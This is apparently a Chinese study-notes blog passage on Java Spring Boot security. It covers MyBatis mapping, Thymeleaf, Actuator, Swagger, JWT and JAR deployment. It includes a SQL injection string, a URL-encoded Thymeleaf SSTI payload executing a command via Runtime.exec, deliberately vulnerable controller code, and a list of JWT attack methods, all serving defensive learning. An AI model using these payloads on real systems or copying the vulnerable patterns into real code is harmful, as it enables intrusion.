public List<User> findAll();

// 根据特定id选择用户的SQL查询(固定查询id=1的数据,无参数,无注入风险)

@Select("select * from admin where id=1")

public List<User> findID();

}

6、创建Controller实现Web访问调用

java 复制代码
package cn.xiaodisec.springbootmybatils.controller;

import cn.xiaodisec.springbootmybatils.entity.User;

import cn.xiaodisec.springbootmybatils.mapper.UserMapper;

import org.springframework.beans.factory.annotation.Autowired;

import org.springframework.web.bind.annotation.GetMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController // REST风格控制器,返回JSON数据

public class GetadminController {

@Autowired // 自动注入UserMapper实例(由Spring容器管理)

private UserMapper UserMapper;

// 访问路由:/getadmin,查询所有用户

@GetMapping("/getadmin")

public List<User> getadmindata(){

List<User> all = UserMapper.findAll(); // 调用Mapper方法查询数据

return all; // 返回查询结果(自动转为JSON)

}

// 访问路由:/getid,查询id=1的用户

@GetMapping("/getid")

public List<User> getadminid(){

List<User> all = UserMapper.findID();

return all;

}

}

数据库返回的是一行行的表格数据(结果集)List<User>装 Java 对象的集合 ,MyBatis 自动把每一行表格数据 → 封装成一个 User 对象 → 全部塞进 List 集合 ,所以你的代码可以直接用 List<User> 接收结果。


分步拆解底层流程(结合你的代码)

你的代码:

复制代码
@Select("select * from admin")
List<User> findAll();

List<User>为啥可以接受数据库查询结果

第一步:数据库执行 SQL,返回「原始结果集」

执行 select * from admin 后,MySQL 给 Java 返回的是一个 JDBC 结果集(ResultSet),长这样:

id username password
1 zhangsan 123456
2 lisi 654321

这是数据库原生数据,Java 根本看不懂表格,必须转换成 Java 对象。


第二步:MyBatis 自动做「行 → 对象」映射(最关键)

MyBatis 会逐行扫描结果集 ,按照这 3 条规则,把一行数据变成一个 User 对象

  1. 字段名完全匹配 数据库列名 id → User 类字段 id数据库列名 username → User 类字段 username

  2. 调用 Setter 方法赋值 框架自动调用:

    复制代码
    user.setId(1);
    user.setUsername("zhangsan");
    user.setPassword("123456");
  3. 无参构造创建对象 你的 User 类没有写构造方法,Java 会自动生成默认无参构造:

    复制代码
    User user = new User(); // MyBatis底层自动执行

✅ 结果:1 行数据 = 1 个 User 对象


第三步:MyBatis 自动把对象装进「List 集合」

数据库查询出 N 行数据 → 生成 N 个 User 对象 MyBatis 会自动创建一个 List<User> 集合,把所有 User 对象放进去:

复制代码
List<User> list = new ArrayList<>();
list.add(user1);
list.add(user2);
...

第四步:返回集合给你的代码

最后 MyBatis 把这个装满 User 对象的 List 直接返回,所以你的代码可以直接写:

复制代码
List<User> all = UserMapper.findAll();

必须满足的 3 个前提(缺一不可)

为什么你的 User 类可以被自动封装?必须满足这 3 点:

  1. 实体类字段名 = 数据库表列名(大小写不敏感)
  2. 实体类有无参构造方法(默认自带,不用写)
  3. 实体类有 Setter 方法(MyBatis 只能用 Setter 赋值)

org.apache.ibatisMyBatis 框架的官方包名

安全危险:mybatis sql语句注入风险(java的sql注入很少,黑盒很看运气)

MyBatis中SQL注入的核心原因是使用**${}语法拼接参数(直接替换参数值,不做预编译),而#{}语法**会将参数视为字符串,自动添加引号并预编译,可避免注入。

先修改相关文件模仿情景

UserMapper:

java 复制代码
@Mapper

public interface UserMapper {

// 使用${id}拼接参数(危险!无预编译,直接替换)

@Select("select * from admin where id like '%${id}%'")

public List<User> findAll(Integer id);

GetadminController:

java 复制代码
// 接收用户传入的id参数并传入Mapper

@GetMapping("/getadmin")

public List<User> getadmindata(@RequestParam Integer id){

List<User> all = UserMapper.findAll(id);

return all;

}

此时,若用户传入id参数为1' or '1'='1,拼接后的SQL为select * from admin where id like '%1' or '1'='1%',会查询所有数据,导致注入。

这里注意要把前面的Integer 改成String。没看懂xd的为啥#没编码也可以成功

但是小迪的又改成Integer了

黑盒的话

白盒直接搜${

SpringBoot-模版引擎-Thymeleaf

-不安全的模版版本

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

1、创建ThyremeafDemo项目

2、使用模板渲染,必须在resources目录下创建templates存放html文件

index.html

java 复制代码
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org"> <!-- 引入Thymeleaf命名空间,支持th:*属性 -->

<head>

<meta charset="UTF-8">

<title>Title</title>

</head>

<body >

<!-- th:text="${data}":将后端传入的data变量值渲染到span标签中(会自动转义HTML,默认防御XSS) -->

<span th:text="${data}">小迪安全</span>

</body>

</html>

test.html

java 复制代码
<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>xiaodi</title>

</head>

<body>

xiaodisec

</body>

</html>

3、创建Controller实现Web访问调用

复制代码
java 复制代码
package cn.xiaodisec.thyremeafdemo.controller;

import org.springframework.ui.Model;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RestController;

//@Controller

@RestController // 问题点:@RestController包含@ResponseBody,会将返回值作为字符串直接返回,而非渲染模板

public class ThyremeafController {

@RequestMapping(value = "/index")

public String index(Model model) {

model.addAttribute("data", "hello xiaodi"); // 向模板传递data变量

//@RestController:index被当作字符串返回,不渲染模板

//@Controller:index被当作模板文件名(resources/templates/index.html)渲染

return "index";

}

@RequestMapping(value = "/test")

public String index() {

// 同上,@RestController返回"test"字符串,@Controller渲染test.html

return "test";

}

}
遇到问题:路径访问并没有从模板渲染,而是当成字符串显示操作

原因:@RestController包含了 @ResponseBody@Controller 的功能。@ResponseBody 会使方法返回值直接作为响应体(字符串),而非模板文件名,因此不会触发模板渲染。

解决方式:更换为@Controller(无@ResponseBody),此时返回值会被视为模板文件名,从resources/templates目录下查找并渲染。

好像xd对springboot开发也不是特别熟悉。

一、导入的类详解

复制代码
import org.springframework.ui.Model;           // 数据载体:向模板传递数据
import org.springframework.web.bind.annotation.RequestMapping;  // 映射URL路径
import org.springframework.web.bind.annotation.RestController; // 问题根源所在
类/注解 所属模块 核心作用
Model spring-web 数据容器 ,类似Map结构,用于在Controller和View之间传递数据
@RequestMapping spring-web 路由映射,将HTTP请求路径绑定到处理方法上
@RestController spring-web 组合注解 = @Controller + @ResponseBody,默认返回JSON/字符串而非视图

二、数据如何传给模板(核心机制)

数据流转示意图

复制代码
浏览器请求 /index
      ↓
ThyremeafController.index(Model model)  ← Spring自动注入Model对象
      ↓
model.addAttribute("data", "hello xiaodi")  ← 键值对存入Model
      ↓
return "index"  ← 返回模板文件名(不带.html后缀)
      ↓
Thymeleaf引擎查找 resources/templates/index.html
      ↓
模板解析 th:text="${data}" → 替换为 "hello xiaodi"
      ↓
渲染后的HTML返回给浏览器

关键代码拆解

复制代码
@RequestMapping(value = "/index")
public String index(Model model) {           // Spring自动创建并注入Model对象
    model.addAttribute("data", "hello xiaodi");  // 向Model中添加属性
    return "index";                          // 告诉Spring用哪个模板
}

Model的本质Model是Spring的接口,底层通常是BindingAwareModelMap,你可以把它理解为一个专门给模板用的HashMap

暂时知道数据流就行。

安全问题:

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题。

SSTI(服务器端模板注入)指攻击者通过控制模板渲染的变量或模板文件名,注入恶意模板代码,执行任意命令或读取敏感信息。

例如:更换中英文页面模板

1. 创建如下的控制器实现Web访问调用,和渲染模板文件

ThyremeafController.java

java 复制代码
@Controller // 使用@Controller确保返回值作为模板名渲染

//@RestController

public class ThyremeafController {

// 接收lang参数,作为模板文件名渲染(危险!直接使用用户输入作为模板名)

@RequestMapping(value = "/")

public String index(@RequestParam String lang) {

// 若lang为恶意模板代码,可能触发SSTI

return lang; // 例如:lang=index-en 则渲染index-en.html

}

}

index-en.html

java 复制代码
<html lang="en">

<head>

<meta charset="UTF-8">

<title>Title</title>

</head>

<body>

</body>

</html>
2. 启动项目,并输入对应路由访问,指向渲染文件的文件名?lang=index-en

http://127.0.0.1:8080/?lang=index-en

3.替换为注入

java 复制代码
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

(注:上述字符串是URL编码后的恶意模板代码,解码后为__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x,意图执行calc命令弹出计算器)

发现报错

原因:Thymeleaf版本问题。高版本Thymeleaf对模板表达式做了严格限制,禁止执行危险的Java代码,而低版本(如2.2.0.RELEASE)存在防护缺陷,可能被利用。

4.替换pom.xml整个文件,到对应的漏洞版本再次注入
复制代码

确实,但是xd并没有讲原理。

Thymeleaf SSTI漏洞分析-先知社区

这个漏洞要学的话大概还得先会用。

教程:使用 Thymeleaf - 中文文档

下面这些就是 Thymeleaf 模板自带实现好的能力 ,你直接用th:*语法就能调用:

1. 变量输出与文本渲染(文档 3、4 章)

  • 实现:把后端Model里的数据显示到页面

  • 语法:th:text="${变量}"th:utext="${变量}"(不转义 HTML)

  • 你代码里用的就是这个:

    复制代码
    <span th:text="${data}">小迪安全</span>

2. 标准表达式语法(文档 4 章,核心引擎)

实现了 5 种必用表达式:

  • ${...}:取后端变量(最常用)
  • *{...}:对象简化取值(选定对象后直接写字段)
  • #{...}:国际化多语言
  • @{...}:生成 URL(自动加项目路径、拼接参数)
  • ~{...}:引用页面片段

3. 循环遍历列表(文档 6 章)

  • 实现:遍历集合(List、Map、数组)生成多行数据
  • 语法:th:each="item : ${列表}"
  • 场景:用户列表、商品列表、订单列表

4. 条件判断(文档 7 章)

  • 实现:if/unless、switch/case 控制标签显隐
  • 语法:th:if="${条件}"th:switch
  • 场景:管理员显示按钮、未登录隐藏内容

5. 页面布局与片段复用(文档 8 章)

  • 实现:抽取公共头部、底部、菜单,多处引用
  • 语法:th:fragment定义片段、th:insert/th:replace引用
  • 作用:不用每个页面都写一遍导航栏

6. 属性设置(文档 5 章)

  • 实现:动态修改 HTML 标签属性
  • 语法:th:srcth:hrefth:valueth:class
  • 场景:动态图片地址、动态链接、动态样式

7. 局部变量与工具对象(文档 9、19 章)

  • 实现:内置#dates#calendars#numbers#strings等工具
  • 作用:直接格式化日期、数字、字符串,不用后端处理

8. 内联表达式(文档 12 章)

  • 实现:HTML、JS、CSS 里直接写[[${变量}]]
  • 场景:JS 里取后端用户信息、CSS 里动态设颜色

9. 文本 / JS/CSS 模板模式(文档 13 章)

  • 实现:不只渲染 HTML,还能渲染纯文本、JS、CSS 文件
  • 作用:邮件模板、动态 JS 脚本都能生成

10. 模板缓存与解耦逻辑(文档 16、17 章)

  • 实现:缓存模板提升速度;支持把逻辑写在单独 XML 里,HTML 完全无代码
  • 作用:页面更干净,加载速度更快

我来给你讲得清清楚楚、100% 精准!针对代码:

复制代码
<span th:text="${data}">小迪安全456</span>

默认文字 小迪安全456 会不会显示 → 分 2 种场景!


场景 1:直接双击打开 HTML 文件(不启动 SpringBoot)

结果:会显示! 显示内容:小迪安全456

原因:

th:text="${data}"服务端指令 ,只有运行在 SpringBoot 里才会生效。你直接打开静态 HTML,浏览器不认识 th:text ,就会显示标签里原本的默认文字

这就是 Thymeleaf 最牛的特性:自然模板→ 前端设计师不用启动项目,直接打开 HTML 就能看到原型页面!


场景 2:启动 SpringBoot,访问接口渲染页面

结果:不会显示!默认文字会被完全替换掉! 显示内容:后端 model.addAttribute("data", "XXX") 传的值

原因:

服务端解析 Thymeleaf 模板时:

  1. 执行 th:text="${data}"
  2. 用后端传入的 data覆盖 / 替换 标签内部的所有文字
  3. 原来的 小迪安全456 直接被删掉,永不显示

下次看到这在具体学吧。虽然之前软件赛出的就是这个题,

day39

发现这个mykon写的好清晰

第39天:安全开发-JavaEE应用 - my-kon-blog

SpringBoot-监控系统-Actuator

2. 安全问题

heapdump泄漏

/heapdump端点会生成JVM内存快照文件(.hprof),攻击者获取后可通过工具分析出敏感信息(如数据库密码、API密钥、配置参数等)。

  • 攻击流程

    1. 访问http://ip:port/actuator/heapdump下载内存快照;
    2. 使用工具分析快照提取敏感信息。
  • 分析工具

SpringBoot-接口系统-Swagger

Swagger是实时接口文档生成工具,方便前后端协作,但生产环境若未妥善配置,会泄露接口细节,被攻击者利用进行自动化测试和攻击。

3. 安全问题

Swagger文档会暴露接口的路径、参数、请求方式等细节,攻击者可利用这些信息进行自动化测试,探测未授权访问、信息泄露、文件上传等漏洞。

这个直接测接口就行

day40

第40天:安全开发-JavaEE应用 - my-kon-blog

知识点与演示案例:

1、JavaEE-SpringBoot-身份鉴权-JWT技术
2、JavaEE-SpringBoot-打包部署-JAR&WAR

演示案例:

➢SpringBoot-身份鉴权-JWT技术
➢SpringBoot-打包部署-JAR&WAR

浏览器与服务器基于 JWT 的认证流程:

  1. 用户登录请求

    • 浏览器发送 POST /users/login 请求到服务器,包含 usernamepassword(这是身份认证的起点,用户需提供凭证)。
  2. 服务器生成 JWT

    • 服务器验证用户名和密码(核心步骤,验证失败则拒绝登录)。
    • 若验证成功,使用密钥(Secret) 生成 JWT(JSON Web Token)(密钥是安全性的核心,必须妥善保管)。
    • JWT 包含用户信息(如用户ID、角色等)和有效期(有效期用于控制令牌的使用时长,降低被盗用风险)。
  3. 返回 JWT 给浏览器

    • 服务器将生成的 JWT 通过 HTTP 响应返回给浏览器(通常放在响应体或 Set-Cookie 头中,不同存储方式有不同的安全考量,如Cookie可配置HttpOnly、Secure属性防XSS)。
  4. 浏览器发送 JWT 后续请求

    • 浏览器在后续请求的 Authorization 请求头中添加 JWT,格式为:

      复制代码

      Authorization: Bearer <JWT>

      (这种方式是行业通用规范,便于服务器统一解析)

  5. 服务器验证 JWT

    • 服务器用相同的密钥验证 JWT 的签名,确保未被篡改(签名验证是防止令牌被伪造的关键)。
    • 从 JWT 的 Payload 中直接提取用户信息(无需查询数据库,提升效率,但依赖令牌本身的安全性)。
  6. 返回响应

    • 服务器根据用户信息处理请求,将结果返回给浏览器。

关键点总结:

  • 无状态认证:服务器无需保存会话状态,JWT 自包含用户信息(减少服务器存储压力,但令牌一旦发出无法主动撤销,需依赖有效期)。
  • 安全性
    • 密钥(Secret)用于签名,防止 JWT 被篡改(密钥泄露会导致令牌可伪造,是最高风险点)。
    • 全程需使用 HTTPS 防止 JWT 被窃取(HTTP 传输易被中间人拦截令牌)。
  • 效率
    • 验证 JWT 签名后可直接读取用户信息,减少数据库查询(提升接口响应速度,但需平衡令牌大小与传输效率)。

⚠️ 注意 :JWT 的 Payload 仅经过 Base64 编码(非加密),切勿存放敏感信息(如密码)(Base64 可直接解码,敏感信息会暴露)。

SpringBoot-身份鉴权-JWT技术

JWT(JSON Web Token)是由服务端用加密算法对信息签名 来保证其完整性和不可伪造

Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息;

JWT用于身份认证、会话维持等。由三部分组成:header、payload与signature

JWT的组成

HeaderPayloadSignature 是 JSON Web Token(JWT)的三个主要组成部分。

  1. Header(头部)

    JWT 的头部通常包含两部分信息:声明类型(typ)和使用的签名算法(alg)。这些信息以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第一个部分。头部用于描述关于该 JWT 的元数据信息。

    java 复制代码
    {
    
    "alg": "HS256", // 签名算法(如HMAC SHA-256)
    
    "typ": "JWT" // 令牌类型
    
    }

    (算法选择影响安全性,HS256是对称加密,需双方共享密钥;RS256是非对称加密,用私钥签名、公钥验证,更适合分布式系统)

  2. Payload(负载)

    JWT 的负载包含有关 JWT 主题(subject)及其它声明的信息。与头部一样,负载也是以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第二个部分。

    java 复制代码
    {
    
    "sub": "1234567890", // 主题(通常是用户ID)
    
    "name": "John Doe", // 自定义声明(用户名)
    
    "iat": 1516239022 // 签发时间(Unix时间戳)
    
    }

    (标准声明包括iss(签发者)、exp(过期时间)、sub(主题)等,自定义声明需避免敏感信息)

  3. Signature(签名)

    JWT 的签名是由头部、负载以及一个密钥生成的,用于验证 JWT 的真实性和完整性。签名是由指定的签名算法对经过 Base64 编码的头部和负载组合而成的字符串进行签名生成的。

    例如,使用 HMAC SHA-256 算法生成签名:

    java 复制代码
    HMACSHA256(
    
    base64UrlEncode(header) + "." + // 编码后的头部
    
    base64UrlEncode(payload), // 编码后的负载
    
    secret // 服务器密钥
    
    )

    (签名是JWT的安全核心,若签名验证失败,令牌会被视为无效)

最终,JWT 是由这三个部分组成的字符串,形如 header.payload.signature。JWT 通常用于在网络上安全地传输信息,例如在身份验证过程中传递令牌。

2、创建JWT并配置JWT

对应目录下创建JwtController.java

java 复制代码
package cn.xiaodi.testjwt.demos.web;

import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JwtController {

    // 模拟用户的JWT身份创建,数据的JWT加密
    @PostMapping("/jwtcreate")  // 处理POST请求,路径为/jwtcreate
    @ResponseBody  // 直接返回字符串,而非视图
    public static String create(Integer id, String user, String pass) {
        // 创建JWT令牌
        String jwttoken = JWT.create()
                // 设置创建的Header部分(可省略,默认使用算法配置)
                //.withHeader()

                // 设置创建的Payload部分(自定义声明,存储用户信息)
                .withClaim("userid", id)       // 用户ID
                .withClaim("username", user)   // 用户名
                .withClaim("password", pass)   // 注意:实际开发中禁止存储密码!此处仅为演示

                // 设置时效(JWT过期时间,如:.withExpiresAt(new Date(System.currentTimeMillis() + 3600000)) 表示1小时后过期)
                //.withExpiresAt()

                // 创建设置的Signature部分,指定算法(HMAC256)和密钥(xiaodisec)
                .sign(Algorithm.HMAC256("xiaodisec"));  // 密钥硬编码存在安全风险,实际需用配置文件存储

        // 打印创建好的jwt
        System.out.println(jwttoken);
        return jwttoken;
    }

}

✅ 1. 官方 Javadoc(最直接证据)

👉 Spring 官方文档:RequestParamMethodArgumentResolver

关键原文(我帮你摘出来):

"simple types ... not annotated with @RequestParam are also treated as request parameters"

翻译一下就是:

👉 简单类型(int、String 等)即使没有 @RequestParam,也会被当作请求参数处理

安全问题与网安风险

JWT渗透姿势一篇通-先知社区

  • 签名未校验绕过
  • alg:none 无签名绕过
  • 对称密钥暴力猜解
  • JWK 头部注入绕过
  • JKU 头部注入绕过
  • KID 头部目录遍历绕过
  • 算法(密钥)混淆攻击
  • 载荷敏感信息泄露利用
  • 密钥硬编码漏洞利用

SpringBoot-打包部署-JAR&WAR

是的!99% 的 SpringBoot 项目,生产环境都是用 JAR 包部署,这是 SpringBoot 官方默认、行业绝对主流的部署方式。

JAR类型项目

jar类型项目使用SpringBoot打包 插件打包时,会在打成的jar中内置tomcat的jar

所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。

  • Jar打包步骤

    报错解决:https://blog.csdn.net/wobenqingfeng/article/details/129914639
    https://blog.csdn.net/Mrzhuangr/article/details/124731024

    <skip>true</skip>修改为<skip>false</skip> 即可(skip设为false表示启用打包插件)

    • <configuration>: Maven 插件配置的根元素,包含具体配置内容。

    • <mainClass>: 指定 Java 应用程序的主类(入口点),此处为com.example.testjwt.TestJwtApplication。

    • <skip>: 控制插件是否跳过执行,true为跳过,false为执行(打包时需设为false)。

    1. 执行maven-clean-package命令(清理并打包,生成jar文件)。
    2. 运行命令java -jar xxxxxx.jar(通过JDK直接启动内置Tomcat,无需额外部署容器)。
  • 直接点这里的clean和package,就是双击。

啥都不改也没报错,可能新版本有优化了。

你的 Spring Boot 项目是 Maven 结构,执行 package 后,生成的 JAR 包默认在 项目根目录的 target 文件夹 里:

war包算了。

现代项目(SpringBoot) :一律用 JAR 包 ,不需要装 Tomcat❌ WAR 包 + 外置 Tomcat :只用于老项目、传统公司、兼容旧系统

打包部署的网安补充:

  • JAR/WAR文件安全:打包时需排除敏感文件(如配置文件中的密钥、数据库密码),避免随包泄露;可通过Maven插件过滤敏感文件。
  • 内置Tomcat漏洞:JAR包内置的Tomcat若版本过低,可能存在已知漏洞(如远程代码执行),需定期升级SpringBoot版本以更新内置组件。
  • 部署权限控制:服务器上的JAR/WAR文件及运行目录应限制权限(如仅管理员可读写),避免被恶意篡改;运行用户应使用低权限账号(非root),降低被攻击后的影响范围。

JAVAEE源码架构安全

无源码下载泄漏风险
  • 无下载路径,运行的程序是一个压缩包,不能通过访问下载路径去下载源码(相比PHP等脚本语言,Java编译后的class文件不易直接获取源码,但仍需防范压缩包泄露)
源码泄漏也需反编译
  • 如果得到打包好的源码,将打包的源码进行解压(攻击者若获取JAR/WAR包,可通过反编译工具还原源码)

直接使用idea打开文件夹,即可实现自动反编译,看到源码(反编译后的代码可能存在变量名混淆,但核心逻辑可被还原,需通过代码混淆工具增强保护)

意思就是没法扫www.zip 、git这些了,就是只有路由才能被访问

一、先说结论(你可以先记这个)

👉 能不能扫 www.zip / .git,取决于"部署方式 + 服务器配置",不是 SpringMVC 本身


二、两种常见部署方式(核心区别)

✅ 1. 外置 Tomcat(你记得的那种情况)

比如用:

Apache Tomcat

目录结构:

webapps/

ROOT/

index.jsp

www.zip

.git/

👉 这时候:

  • /www.zip ✅ 可以直接访问

  • /.git/config ❗ 很可能能扫到(取决于配置)

✔ 原因

Tomcat 默认是:

把 webapps 目录当作"静态资源目录"直接映射


❌ 2. Spring Boot(你现在说的 jar 启动)

java -jar app.jar

内部结构:

app.jar

└── BOOT-INF/

├── classes/

│ └── static/

└── lib/

👉 这时候:

  • /www.zip 不存在(除非你放进 static)

  • .git 不会暴露

  • ✅ 只能访问:

    • Controller 路由

    • /static /public /resources 这些目录


三、Spring Boot 的访问规则(重点)

默认只暴露:

classpath:/static/

classpath:/public/

classpath:/resources/

META-INF/resources/

比如:

static/www.zip

👉 才能访问:

http://xxx/www.zip


四、你说的那句话,正确版本应该是:

❌ "jar 部署就只能访问路由"

"jar 部署默认只能访问:Controller + 指定静态目录"

✔ 只能访问这 4 个目录里的文件

不能访问目录本身,比如:

  • /static → 404
  • /public → 404
  • /resources → 404

外部扫不到 www.zip、.git、备份文件

因为这些不在 4 个目录里!

静态目录里只放前端能直接用的文件

我给你说最真实、最标准、企业里怎么放你就怎么用👇

静态目录(static /public)一般放这些

  1. HTML 页面(index.html、login.html)
  2. 图片(jpg、png、gif、svg)
  3. CSS 样式文件
  4. JS 脚本文件
  5. 字体文件(woff、ttf)
  6. favicon.ico 网站图标

难点总结

  1. JWT密钥管理

    • 难点:密钥需保证高强度且不泄露,同时在分布式系统中安全同步(如多服务器共享密钥)。
    • 解决:使用环境变量或加密配置中心存储密钥,避免硬编码;非对称加密(如RS256)可避免密钥共享问题。
  2. JWT过期与刷新机制

    • 难点:平衡安全性(短有效期)与用户体验(减少登录频率)。
    • 解决:实现"访问令牌+刷新令牌"机制,访问令牌短期有效(如1小时),刷新令牌长期有效(如7天),过期后用刷新令牌获取新访问令牌。
  3. JWT签名验证的严格性

    • 难点:开发中易因疏忽跳过签名验证或使用不安全的算法(如none)。
    • 解决:封装JWT工具类,强制验证签名和过期时间,固定签名算法,禁止动态协商。
  4. JAR与WAR部署的选择与配置

    • 难点:内置Tomcat与外部Tomcat的配置差异(如端口、上下文路径),以及依赖冲突问题。
    • 解决:JAR适合快速部署和微服务场景,需注意内置组件版本;WAR适合传统容器部署,需正确排除内置Tomcat并匹配外部容器版本。
  5. 源码保护

    • 难点:JAR/WAR包易被反编译,导致核心逻辑或敏感信息泄露。
    • 解决:使用代码混淆工具(如ProGuard),移除调试信息,敏感配置不随包存储,通过环境变量注入。
相关推荐
编程风暴3 小时前
3类人群的数据分析实习类型选择+4条选错红线
java·前端·数据分析
其美杰布-富贵-李3 小时前
Vue 3 模块导入教程:import、export 与文件组织
前端·javascript·vue.js
一只小菜鸡..3 小时前
南京大学 操作系统 (JYY) 学习笔记:文件系统实现——从 FAT、ext2 到现代 B-Tree 黑科技
笔记·科技·学习
深爱水瓶 血影S狂风3 小时前
Linux.NET学习手记(2)
linux·学习·.net
明明真系叻3 小时前
RAG学习(1)
学习·rag
钱六两3 小时前
Spring AI 使用 MCP 客户端(调用高德 MCP)
java·人工智能·spring
夜雨风云3 小时前
系统或软件的安全(Security)
安全·security·软件设计·软件架构设计·服务质量模型
weipt3 小时前
springboot项目运行的几种方式
javascript·css·html
城管不管3 小时前
RabbitMQ死信队列
java·分布式·ai·面试·职场和发展·rabbitmq·agent
前端技术官3 小时前
前端真的比后端简单吗?
javascript·webview·dom·前端工程化·浏览器兼容性